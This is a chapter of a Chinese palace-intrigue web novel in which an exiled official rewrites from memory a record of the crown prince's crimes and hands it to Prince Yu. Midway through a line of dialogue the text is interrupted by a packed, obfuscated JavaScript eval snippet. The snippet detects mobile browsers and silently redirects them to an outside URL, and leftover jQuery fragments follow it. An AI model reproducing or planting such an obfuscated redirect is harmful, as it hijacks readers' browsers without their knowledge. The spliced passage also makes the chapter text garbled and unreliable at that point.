默认冷灰
24号文字
方正启体

36. 第六章第三节

作者:一一字字句句本书字数:K更新时间:
    “按照你单子上所说,屿王在出发寻人之前,短短几天之内,曾先后派出去了几百人之多,奔赴数座州城采买药材,甚至这其中还不包括九顷水帮的那几条船。”


    太子的手指按照从左到右的顺序,似在数数般,依次划过纸上所注的几列日期,然后道,“那么去青州的那两个人都买了什么药材?和另外派出去的那几百人,买的可是同几种药材?他们是否研制出了治疫有用的方子?”


    而他每多问一句,地上的小厮就更恐惧一分,生怕他问出什么自己没准备到的问题。


    他颤悠着答道,“这两人买的都是一些普通治疫驱瘴的药材,在屿王刚到益州的时候,青州也是送过这些药的,小的以为应该是补足益州的库存。至于和旁的赴其他州城之人买的是否相同,小的也不敢确定。虽然…虽然咱们潜伏在屿王府的眼线,这次都被派在了外围购药运输一事上,但也正因如此,才无法渗透进那五十人的队伍里去,探听进一步的情报。而兄弟们彼此之间又都跟着不同的队伍去了不同的城州采买,互相之间并不能及时通传,所以…所以目前还不知道。而且…屿王的人行事很有一套章法,他们把各条路线划好之后,就给各人都分定了岗位,采买的便永远只管在那头采买,连运回的事儿都插不上手,因此就更不知道另外那条路线是买的什么药了。”


    “这么说来,药方未知。”太子又将手指划过剩余的字目,而后缓缓读道,“益州城内状况,未知。”


    那小厮听到这里,狠狠打了一个寒栗,赶紧接口道,“是…是,益州的赵将军将城门看得似禁城一座,只有一个顾大人能进出,但他向屿王报些什么,兄弟们实在打听不到啊。”


    太子看向他的眼神越发阴恻,他不发一言,将手中信纸仔细叠好,而后双指一夹,丢去了脚边地上。随后他将手悬空覆上身旁的一盏烛火,似在玩弄那光辉落于指缝的影子,唇边轻轻漏出一句,“吃了它,下去吧。”


    小厮如获大赦,慌忙扑去纸边,狼吞虎咽般地将纸和着地上的灰尘一并咽下,然后磕了几个响头,连滚带爬跑出去了。


    “太子生性阴狠,治下残忍,故其不得人心,只得畏威。”郭少征负手说道。


    “大人见地清楚。”


    “我身受其害,如何会不清楚。”


    “是晚辈来接大人得太晚,否则也不至于大人空握一纸述罪书,又空待益州草房十年之久。”屿王道,“但也幸亏无人知晓大人有这样一纸文书,否则太子那边,必不会放过大人。”


    “说到这我倒想知道,殿下你,又是如何知道我手里有这东西的呢?”


    “本不知道的。”


    屿王这话倒是实话,他若是知道郭少征手里有这样一卷好东西,也不会对来益州治疫而犹豫再三了。回想当日沈妙常给他的飞鸽传书,他如今只觉得连老天都在帮忙。


    郭少征发配益州是当年皇帝亲命人尽皆知,他身上有着旷世的军事奇才沈谛祝也心中清楚,而赵将军亦是镇守一方边境的大将,若能把这两个人收入囊中,在他日后夺位的凶险之路上,自当是大有助益。


    然而彼时沈妙常也好,他也好,都不知道郭少征手中还握有一叠能治罪太子的述罪书。因此沈妙常只是纯粹以两人之才劝己前来益州,目的在于帮助边城百姓取得一线生机。而他则是在衡量,能否收服这两人的把握,与牵扯进益州这一桩麻烦之间的利弊,到底孰大孰小。


    然而一切的权衡与计算,都在他来到益州后,而烟消云散了。


    他遂微笑着侃侃道,“晚辈听闻益州大疫,除了百姓安危外,我首先想到的,就是大人您被流放所到之地正是益州,生怕您染上时疫,恐有大碍。于是来此之后,我与赵将军见面,他曾说,自您流放益州的头两年,总有人制造各种意外想置您于死地,直到他掩护您数次更换居处,才终于得以摆脱。而后来您却对他说,既然麻烦不再找上门来,最好他也别再知道您的安身之所,才是两相得益的最好法子。于是您再次默默搬迁,连他也没有告诉。”


    “不错。”说到此处,郭少征接道,“太子本想对我赶尽杀绝,奈何路上是皇帝亲兵押解,他不敢动手,自觉到了益州之后才是让我消失的最好时机。可感益州是滇南属地,那时还由滇南王领辖,而赵将军忠直正义,他奉王爷之命,自我迈进益州城门的第一步,便明里暗里派人保护,前两年,太子多次派来杀手,都被他挡了下来,又带我前前后后挪了十几次住处,从城中市坊到清净后山。一开始我还疑心太子恐怕是知道我手中证据,可就这样躲了两年,每次来人都只为要命却从没一个逼问翻找的,我就知道,太子只是想赶尽杀绝泄愤,而并不知道这东西的存在。渐渐地,他除我不掉,料我也没本事翻身,遂来人越发少。我自知手中东西若一日有暴露的风险,所有见到的人都会和我落得同一种危险中。赵将军,”他顿了顿又道,“和他军中部下,无谓为这份不曾面世的东西频冒风险。于是我给他留了一封信,只说自己不会离开益州,便在他被贬来此地赴任前换了地方,连他都不知道我在哪,于彼此才是最安全的。此后,确也无人来扰我。”


    “大人恩义。”屿王道,“我却不能不管,大疫虽乱,却空巷人清。领粮配药,都需登籍入册,找一个人比之以往要容易些许。赵将军戍卫一城脱不开身,所以我命小顾入城,让他遍寻城内,就是想及早把大人接出来。谁知他刚找到大人时,那时城中尚且处处疾疫很是危险,他与我也是三天才能一见。于是这三天,他日日都去探望大人平安,这一卷述罪书,就是那时无意间瞧见的。”


    “小顾大人好眼力啊。”郭少征微笑道。


    “郭大人莫怪,小顾绝非有意偷窥。只是他瞧见了这东西,心中便一直惶恐不已,一与我见面,便全盘告知了我。于是我们商定速速把大人您接出城保护起来,毕竟这卷东西,万一被他人得知了去,足以要了您的性命。这也是次日,我本想派江南将您送去青州的原因。此地到底是边城,我所带的人马也不够,疫病未清,尚且不知要在益州耗下去多久。还是青州王将军处,是眼下最适合的所在。”


    “是,”王将军接话道,“眼下虽然述罪书丢了,但殿下为保无虞,还是命末将,等大人您身体再恢复些,便先随我至青州去。只是不知…”他犹豫着道,“那述罪书到底有多厉害,竟比得过一条人命。”


    “一条人命?恐怕若是太子知道老夫写过这件东西,即便是十条人命他也能下手。”郭少征抖了抖袖口,以极快且连贯激昂的语势说下去道,“那里面是老夫居枢密使时,参与最高军机要之后,一字一字,亲笔记录的关于太子赃滥、皇后弄权、阉党害政等重大罪状三十一件,而每一件,都有详细的时间地点与事缘情由,证据确凿。这其中涉及的人命,光是借有司各部之手去公开处死的掾吏就有一百余条,还有派遣东宫所养的杀手去隐秘灭口的无辜受牵者,又达三百余条。”


    他一口气说完这些,而后喘了喘,低声叹道,“这些,还只是十年前的数目。”


    “什么…”王将军见屿王面色沉重,便知此言不虚,他暗暗心惊。若不是当年抓住了机会离开皇城来了青州,否则只怕他也一并被太子随便寻个由头整死罢了。


    屿王双拳攥紧,“这十年,太子与皇后,并未有任何的收敛。”


    郭少征继续道,“皇上已然不信我,我多次谏言却只得到敷衍了事。无奈,我自己一人利用查阅各类典籍、名册、案卷的权限,收集了这些证据,却没等到揭发的好时机,便先一步反被流放。如今十年过去…”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17253676|197975||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “如今十年过去,只可惜,”屿王恨道,“再没有如郭大人一般能身列高位、与之抗衡的忠正之人,能够拿到他犯错的证据,并一一记录下来。可即便是十年前的那些罪状,也足以钉死他了,只怪一场洪水…”


    “无妨!那上面的每一个字,早就刻在我的脑子里了!”


    郭少征此语一出,三人皆惊。


    “您的意思是…”屿王试探道。


    “老夫既认定了殿下为主,自当准备一份诚意十足的大礼。”


    说完他转向王将军,又道,“烦请将军,将我从营帐里带过来的那个箱笼拿出来吧。”


    后者遂弯腰从亭内座椅底下拖出了个不大的箱笼,着手将其打开,里面正装有笔墨纸砚一应物品。


    郭少征随即盘腿席地而坐,丝毫不顾天凉砖硬,而后从箱中拿出一根白蜡,以火折子燃起后置于近侧地面,又抽出纸张横铺在面前石砖上,左右缘各压上块镇尺,再端出一方砚台,打开砚盖,扁衣挽袖,取笔蘸墨,便这么躬着背,在薄纸上一列一列,撰写起来。


    沈谛祝站在其后,看着一个个正书小字涓涓淋漓,堆砌起一排排触目动心的惊涛骇浪。


    从当朝十一年到二十一年,从九品县丞到正一品亲王,从后宫到前朝,从左右本国官吏的考校任命,到插手国与国间的商贸与战争。太子党为了维护自己的权力地位能不受任何威胁,已经近乎丧心病狂了。


    夕阳已落,天色暗淡,凉风却依旧有劲,从远处的江面过来,吹得火烛摇曳不已,王将军当即蹲下跪在一旁,用双手和身躯,护住这一星光亮。


    辰光一夕一夕过去,江南回头望了望身后的三人,黑暗中竟已难看见人影,也再没有任何说话的声音,只见到一段惨白烛光,光影中似有双手秉笔直挥,只听到一尺长纸,在笔下移动摩擦。江南猛地打了个冷战,才突然回过神来,霎时间江涛与晚风都涌进了耳朵,或许还掺杂着亭里的呼吸,与亭外的虫鸣。只是眼中的那段烛光,仍旧无比清晰地刻在了瞳中,在一应的混沌黑暗里,硬是孤注一掷地留下了一方明光。


    细长的毛笔奋力疾书,从起笔到落尾没有中断过一次,淌出的行文挥洒流云,很快就布满了一整张纸。然而向那书写的人看去,他双眉紧蹙,面色红热,目光沉痛却坚定。


    实则是句句艰难,字字泣血。


    他仍然将述罪书再写完了一遍一模一样。


    这夜的冷风刮得不大,时间却久,被镇尺压住两端的纸张中段仍旧上下扑腾不已,纸上的排排密字都叫嚣着要挣脱跳出来,烛火一照,字后的无数不甘命运与狰狞面貌尽浮了上来,更显得骇心动目。


    半个时辰,足以从日头初降到玉轮高升,蜡炬的火灰已经落了一层,只剩下最后一点烛芯了,郭少征便赶在这即将燃尽的最后关头停笔吹熄了蜡烛。


    他挪开镇尺,拎起这份新的述罪书一角,想起身时却因坐得太久而颤悠不稳,几欲摔倒。沈谛祝见其要站起来,便赶紧先一步扶住他双臂。郭少征一手攥牢着纸角,一手紧抓着屿王的袖臂,半颤抖着双腿,切切盯着他道:


    “请殿下看好,今日是我吹熄的蜡烛,并非它燃干殆尽。日与夜的交替是天道轮回,不会有永恒的光明,也不会有永恒的黑暗。要紧的是殿下您作为掌握世间多数人生命簿的握笔者,亦是操纵天下黑白的执灯者,在黎明来前,您可以潜伏,可以假寐,然而这明与暗的交界,必须要由您来主动把控,积极筹谋,尽力争取。绝不可等蜡烛燃尽,世间永堕黑暗,再恨为时已晚。”


    随后,他松开屿王双手,为其整理好衣袖,再退后一步,看着纸上墨迹已差不多风干,遂郑重叠好,恭敬将这封述罪书双手递与面前尊者。


    “殿下,收好。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)